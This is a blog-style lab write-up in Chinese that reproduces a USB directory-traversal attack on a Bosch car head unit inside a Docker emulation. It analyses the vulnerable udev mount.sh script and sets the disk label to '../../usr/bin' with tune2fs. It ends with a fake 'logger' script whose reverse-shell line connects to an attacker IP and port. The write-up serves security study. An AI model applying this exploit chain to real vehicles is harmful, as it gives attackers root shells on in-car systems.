U盘目录穿越获取车机SHELL - 分析与复现

github上破解日系车机的文章 - https://github.com/ea/bosch_headunit_root

其中有利用 U 盘获取车机 shell 的操作

主要根据下面这篇文章进行环境搭建和复现

U盘目录穿越获取车机 SHELL(含模拟环境) - https://delikely.github.io/2021/06/04/U%E7%9B%98%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A%E8%8E%B7%E5%8F%96%E8%BD%A6%E6%9C%BASHELL/

环境准备

掏出我的U盘,不过好像ubuntu不支持

第一个是插入U盘前 第二个是插入U盘后

一般来说 /dev/sda 是指第一个磁盘设备,/dev/sdb 是指第二个磁盘设备,U盘插进去一般就是sdb了,因为虚拟机本身还有一个磁盘

我用blkid命令都不显示 额....

怀疑是不是因为U盘不是ETX4结构的

掏出我的傲梅分区助手,格式化分区

选择EXT4

等待执行完成即可

插入ubuntu虚拟机 可以看到这里已经是ext4类型了

接下来是固件环境的搭建,这里直接使用原博主已经弄好的Dockerfile,在虚拟机里面搭建一个模拟环境(可能这个时候你想说,那我们U盘插进去的时候,是插的虚拟机还是docker容器,答案是使用 --privileged 参数,以特权模式运行容器,即容器内的进程将具有与主机相同的权限。这可以让容器内的进程执行敏感操作,如挂载文件系统等)

我这里没有直接用wget,下载了对应文件传到虚拟机上

接着创建镜像

~/bosch headunit root$ sudo docker build -t delikely/bosch_headunit_root:automount .
[+] Building 29.8s (9/9) FINISHED
 => [internal] load build definition from Dockerfile                                                                          0.0s
 => => transferring dockerfile: 320B                                                                                          0.0s
 => [internal] load .dockerignore                                                                                             0.0s
 => => transferring context: 2B                                                                                               0.0s
 => [internal] load metadata for docker.io/library/ubuntu:12.04                                                              18.0s
 => [1/4] FROM docker.io/library/ubuntu:12.04@sha256:18305429afa14ea462f810146ba44d4363ae76e4c8dfc38288cf73aa07485005        10.5s
 => => resolve docker.io/library/ubuntu:12.04@sha256:18305429afa14ea462f810146ba44d4363ae76e4c8dfc38288cf73aa07485005         0.0s
 => => sha256:18305429afa14ea462f810146ba44d4363ae76e4c8dfc38288cf73aa07485005 1.36kB / 1.36kB                                0.0s
 => => sha256:5b117edd0b767986092e9f721ba2364951b0a271f53f1f41aff9dd1861c2d4fe 3.62kB / 3.62kB                                0.0s
 => => sha256:d8868e50ac4c7104d2200d42f432b661b2da8c1e417ccfae217e6a1e04bb9295 39.10MB / 39.10MB                              6.5s
 => => sha256:83251ac64627fc331584f6c498b3aba5badc01574e2c70b2499af3af16630eed 57.94kB / 57.94kB                              0.9s
 => => sha256:589bba2f1b36ae56f0152c246e2541c5aa604b058febfcf2be32e9a304fec610 423B / 423B                                    0.8s
 => => sha256:d62ecaceda3964b735cdd2af613d6bb136a52c1da0838b2ff4b4dab4212bcb1c 680B / 680B                                    1.3s
 => => sha256:6d93b41cfc6bf0d2522b7cf61588de4cd045065b36c52bd3aec2ba0622b2b22b 162B / 162B                                    1.4s
 => => extracting sha256:d8868e50ac4c7104d2200d42f432b661b2da8c1e417ccfae217e6a1e04bb9295                                     3.9s
 => => extracting sha256:83251ac64627fc331584f6c498b3aba5badc01574e2c70b2499af3af16630eed                                     0.0s
 => => extracting sha256:589bba2f1b36ae56f0152c246e2541c5aa604b058febfcf2be32e9a304fec610                                     0.0s
 => => extracting sha256:d62ecaceda3964b735cdd2af613d6bb136a52c1da0838b2ff4b4dab4212bcb1c                                     0.0s
 => => extracting sha256:6d93b41cfc6bf0d2522b7cf61588de4cd045065b36c52bd3aec2ba0622b2b22b                                     0.0s
 => [internal] load build context                                                                                             0.0s
 => => transferring context: 33B                                                                                              0.0s
 => [2/4] WORKDIR /etc/                                                                                                       0.6s
 => [3/4] COPY ./udev.tar.gz /etc/                                                                                            0.0s
 => [4/4] RUN tar xzvf udev.tar.gz -C ./udev/                                                                                 0.5s
 => exporting to image                                                                                                        0.1s
 => => exporting layers                                                                                                       0.1s
 => => writing image sha256:b7f09bab4df68c56fbfcb47df03b921998fe677b5b1158b01d5d29a8625c962f                                  0.0s
 => => naming to docker.io/delikely/bosch_headunit_root:automount                                                             0.0s

额这么慢?

不好意思打开方式错了,先改docker镜像源

sudo vi /etc/docker/daemon.json

添加

{
  "registry-mirrors": ["https://y0qd3iq.mirror.aliyuncs.com"]
}

重启docker

service docker restart

可以看一下更新成功没有

sudo docker info|grep Mirrors -A 1

现在再搭建docker,世界终于美好了

接下来运行这个镜像 原文中的命令有点问题 这里使用

~/bosch headunit root$ sudo docker run -itd --privileged=true delikely/bosch_headunit_root:automount
05993c72efb7425b800924ac22d4d521b4a003261180a35cff301ad6f9b30db7

OK到这里环境终于OK了

漏洞代码分析

因为我们的docker前面启动设置的原因 所以现在如果插入U盘 会直接挂载到docker容器中 如下

可以看到是在容器中

另外车机的操作系统为 Linux

U 盘等外设热插拔由 udev 实现。udev 是 Linux 系统中的一个设备管理守护进程,全称为 "Userspace Device Manager"(用户空间设备管理器)。它负责监听和管理计算机系统中的硬件设备

配置文件在 /etc/udev 下 。udev 会根据设备的 UUID 和 LABEL,构造挂载点。UUID 是块设备的唯一标识符,LAEBL 是块设备的一个标签

车机中自定义了 U 盘挂载脚本,在 udev 配置文件 /etc/udev/rules.d/local.rules 中 ,指定了由脚本 /etc/udev/scripts/mount.sh 处理

接下来看 mount.sh 的内容

#!/bin/bash
#
# Called from udev
# Attempt to mount any added block devices by UUID
# and remove any removed devices
#

. /etc/default/rcS

if [ -n "$DEVDEBUG" ]
then
 export >> /tmp/env.txt
fi

MOUNT="/bin/mount"
UMOUNT="/bin/umount"
MOUNTPT="/dev/media"
MOUNTDB="/tmp/.automount"

devname=${DEVNAME##*/}

check_mount() {
    dev=$1
    not_found=1

    exec 4< /proc/mounts

    read -u 4 device mount_point skip
    while [ $? -eq 0 ]; do
        case ${device} in
            $dev)
               not_found=0
               echo ${mount_point}
               ;;
            *)
               ;;
         esac
         read -u 4 device mount_point skip
    done

    exec 4<&-

    return ${not_found}
}

automount() {
    if [ -z "${ID_FS_TYPE}" ]; then
        logger -p user.err "mount.sh/automount" "$DEVNAME has no filesystem, not mounting"
        return
    fi

    # Determine the name for the mount point.  First check for the
    # uuid, then for the label and then for a unique name.
    if [ -n "${ID_FS_UUID}" ]; then
        mountdir=${ID_FS_UUID}
    elif [ -n "${ID_FS_LABEL}" ]; then
        mountdir=${ID_FS_LABEL}
    else
        mountdir="disk"
        while [ -d $MOUNTPT/$mountdir ]; do
            mountdir="${mountdir}_"
        done
    fi

    # Create the mount point.
    ! test -d "$MOUNTPT/$mountdir" && mkdir -p "$MOUNTPT/$mountdir"

    # And mount the disk or partition.
    if [ -n ${ID_FS_TYPE} ]
    then
      if [ "vfat" = ${ID_FS_TYPE} ]
      then
        IOCHARSET=",utf8=1"
      elif [ "ntfs" = ${ID_FS_TYPE} ]
      then
        IOCHARSET=",nls=utf8"
      fi
    fi

    result=$($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)
    status=$?
    if [ ${status} -ne 0 ]; then
        logger -p user.err "mount.sh/automount" "$MOUNT -t ${ID_FS_TYPE} -o sync,ro $DEVNAME \"$MOUNTPT/$mountdir\" failed: ${result}"
        rm_dir "$MOUNTPT/$mountdir"
    else
        logger "mount.sh/automount" "mount [$MOUNTPT/$mountdir] with type ${ID_FS_TYPE} successful"
        mkdir -p ${MOUNTDB}
        echo -n "$MOUNTPT/$mountdir" > "${MOUNTDB}/$devname"
    fi
}

rm_dir() {
    # We do not want to rm -r populated directories
    if test "`find "$1" | wc -l | tr -d " "`" -lt 2 -a -d "$1"
    then
        ! test -z "$1" && rm -r "$1"
    else
        logger -p user.err "mount.sh/automount" "not removing non-empty directory [$1]"
    fi
}

if [ "$ACTION" = "add" ] && [ -n "$DEVNAME" ]; then
    check_mount "$DEVNAME" || automount
fi

if [ "$ACTION" = "change" ] && [ -n "$DEVNAME" ]; then
    # Check if the disk can be opened.
    if [ exec <$DEVNAME ]; then
        # The disk can be opened, so check for a file system and mount
        # it. Otherwise wait for the add events for the partitions.
        if [ -n "${ID_FS_TYPE}" ]; then
            # There is a file system, so try to mount it.
            check_mount "$DEVNAME" || automount
        fi
    else
        # The disk cannot be opened. Unmount all mount points
        # referring to this disk including partitions.
        for file in $(ls ${MOUNTDB}/$devname* 2>&-)
        do
            read mountdir < ${file}
            devname=${file#${MOUNTDB}/}

            logger "mount.sh/automount" "unmounting [${mountdir}]"
            $UMOUNT -l $mountdir

            # Remove empty directories from auto-mounter
            rm_dir "${mountdir}"
            rm "${MOUNTDB}/$devname"
        done
    fi
fi

if [ "$ACTION" = "remove" ] && [ -x "$UMOUNT" ] && [ -n "$DEVNAME" ]; then

    for mnt in $(check_mount "$DEVNAME")
    do
        logger "mount.sh/automount" "unmounting [$mnt]"
        $UMOUNT -l $mnt

        # Remove empty directories from auto-mounter
        if [ -e "${MOUNTDB}/$devname" ]; then
            read mountdir < ${MOUNTDB}/$devname
            rm_dir "$mountdir"
            rm "${MOUNTDB}/$devname"
            rm "${INFODB}/$devname"
        fi
    done
fi

查看主动挂载函数

automount() {
    if [ -z "${ID_FS_TYPE}" ]; then
        logger -p user.err "mount.sh/automount" "$DEVNAME has no filesystem, not mounting"
        return
    fi

    # Determine the name for the mount point.  First check for the
    # uuid, then for the label and then for a unique name.
    if [ -n "${ID_FS_UUID}" ]; then
        mountdir=${ID_FS_UUID}
    elif [ -n "${ID_FS_LABEL}" ]; then
        mountdir=${ID_FS_LABEL}
    else
        mountdir="disk"
        while [ -d $MOUNTPT/$mountdir ]; do
            mountdir="${mountdir}_"
        done
    fi

    # Create the mount point.
    ! test -d "$MOUNTPT/$mountdir" && mkdir -p "$MOUNTPT/$mountdir"

    # And mount the disk or partition.
    if [ -n ${ID_FS_TYPE} ]
    then
      if [ "vfat" = ${ID_FS_TYPE} ]
      then
        IOCHARSET=",utf8=1"
      elif [ "ntfs" = ${ID_FS_TYPE} ]
      then
        IOCHARSET=",nls=utf8"
      fi
    fi

    result=$($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)
    status=$?
    if [ ${status} -ne 0 ]; then
        logger -p user.err "mount.sh/automount" "$MOUNT -t ${ID_FS_TYPE} -o sync,ro $DEVNAME \"$MOUNTPT/$mountdir\" failed: ${result}"
        rm_dir "$MOUNTPT/$mountdir"
    else
        logger "mount.sh/automount" "mount [$MOUNTPT/$mountdir] with type ${ID_FS_TYPE} successful"
        mkdir -p ${MOUNTDB}
        echo -n "$MOUNTPT/$mountdir" > "${MOUNTDB}/$devname"
    fi
}

逐行分析

下面的代码判断U盘的文件系统 ID_FS_TYPE,可识别就继续执行,否则就退出

if [ -z "${ID_FS_TYPE}" ]; then
    logger -p user.err "mount.sh/automount" "$DEVNAME has no filesystem, not mounting"
    return
fi

然后设置mountdir,如果 ID_FS_UUID 不为空则 mountdir 为 ID_FS_UUID,如果 ID_FS_LABEL 不为空则 mountdir 为 ID_FS_LABEL,否则mountdir为disk

if [ -n "${ID_FS_UUID}" ]; then
    mountdir=${ID_FS_UUID}
elif [ -n "${ID_FS_LABEL}" ]; then
    mountdir=${ID_FS_LABEL}
else
    mountdir="disk"
    while [ -d $MOUNTPT/$mountdir ]; do
        mountdir="${mountdir}_"
    done
fi

拼接一下 /dev/media 就是形成了最终的挂载点。最后使用 mount 命令将 U盘挂载到刚才构造的这个路径上

! test -d "$MOUNTPT/$mountdir" && mkdir -p "$MOUNTPT/$mountdir"

下面这部分因为我们是ETX4所以可以忽略

# And mount the disk or partition.
if [ -n ${ID_FS_TYPE} ]
then
  if [ "vfat" = ${ID_FS_TYPE} ]
  then
    IOCHARSET=",utf8=1"
  elif [ "ntfs" = ${ID_FS_TYPE} ]
  then
    IOCHARSET=",nls=utf8"
  fi
fi

然后是真正的挂载操作

result=$($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)

$mountdir 这里很关键,刚好是我们能够控制的 而且没有什么过滤操作,存在目录穿越漏洞

咱们接着把挂载脚本看完

status=$?
if [ ${status} -ne 0 ]; then
    logger -p user.err "mount.sh/automount" "$MOUNT -t ${ID_FS_TYPE} -o sync,ro $DEVNAME \"$MOUNTPT/$mountdir\" failed: ${result}"
    rm_dir "$MOUNTPT/$mountdir"
else
    logger "mount.sh/automount" "mount [$MOUNTPT/$mountdir] with type ${ID_FS_TYPE} successful"
    mkdir -p ${MOUNTDB}
    echo -n "$MOUNTPT/$mountdir" > "${MOUNTDB}/$devname"
fi

我们看挂载成功之后的逻辑 会调用logger命令,我们劫持/usr/bin/之后,可以在U盘里面再写一个logger脚本,导致挂载的时候运行到这里的时候,调用我们的logger脚本,从而实现反弹shell

漏洞利用

因为 $mountdir 没有被过滤,所以可以控制 $mountdir 来实现目录穿越,从而劫持系统中的程序实现任意命令执行

前面 $mountdir 我们可以通过 ID_FS_UUID 和 ID_FS_LABEL 来控制

blkid 命令是一个用于显示块设备(如硬盘、分区等)的文件系统类型和UUID(Universally Unique Identifier)的工具命令。它可以帮助您在 Linux 系统中识别和管理块设备。

/etc# blkid /dev/sdb1
/dev/sdb1: LABEL="EasyU" UUID="7cc162e8-93d7-1f44-bbd6-0d308f113468" TYPE="ext4"

可以看到其中

  • LABEL 为 EasyU
  • UUID 为 7cc162e8-93d7-1f44-bbd6-0d308f113468

我们使用 tune2fs 工具

tune2fs 是一个用于调整和修改 ext2、ext3 和 ext4 文件系统参数的命令行工具。它是 e2fsprogs 软件包(ext2/ext3/ext4 文件系统工具集)中的一部分,常用于 Linux 系统中

使用tune2fs控制UUID

/etc# tune2fs -U "../../usr/bin" /dev/sdb1
tune2fs 1.42 (29-Nov-2011)
tune2fs: Invalid UUID format

不规范的UUID,所以将其置空

/etc# tune2fs -U NULL /dev/sdb1
tune2fs 1.42 (29-Nov-2011)

控制 LABEL

/etc# tune2fs -L "../../usr/bin" /dev/sdb1
tune2fs 1.42 (29-Nov-2011)

看一下成果

/etc# blkid /dev/sdb1
/dev/sdb1: LABEL="../../usr/bin" UUID="7cc162e8-93d7-1f44-bbd6-0d308f113468" TYPE="ext4"

暂停docker,在U盘目录下编写logger脚本来进行反弹shell,这里我除了IP,其余直接复制原博主的了

root@kali:~/automotive# mount /dev/sdb1 /media/root/
root@kali:~/automotive# cd /media/root
root@kali:/media/root# cat logger
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1
root@kali:/media/root# chmod +x logger
root@kali:/media/root# cd -
root@kali:~/automotive# umount /dev/sdb1

启动docker环境~

最后再插入U盘 ,ubuntu虚拟机拿到反弹shell~ (大功告成

原来的/usr/bin 目录下就被劫持了,只剩下了U盘内容

可以看到反弹shell中我们用 whoami 就找不到命令了

如果想要使用其他的/usr/bin/目录下的命令,就需要把原来/usr/bin 目录的文件(或相同架构的可执行文件)拷贝到 U 盘根目录,这样在劫持了之后才有命令可用

END

建了一个微信的安全交流群,欢迎添加我微信备注进群,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注 😃

加我拉你入群 黑糖安全公众号
posted @ 2023-08-20 01:42  春告鳥  阅读(763)  评论(0编辑  收藏  举报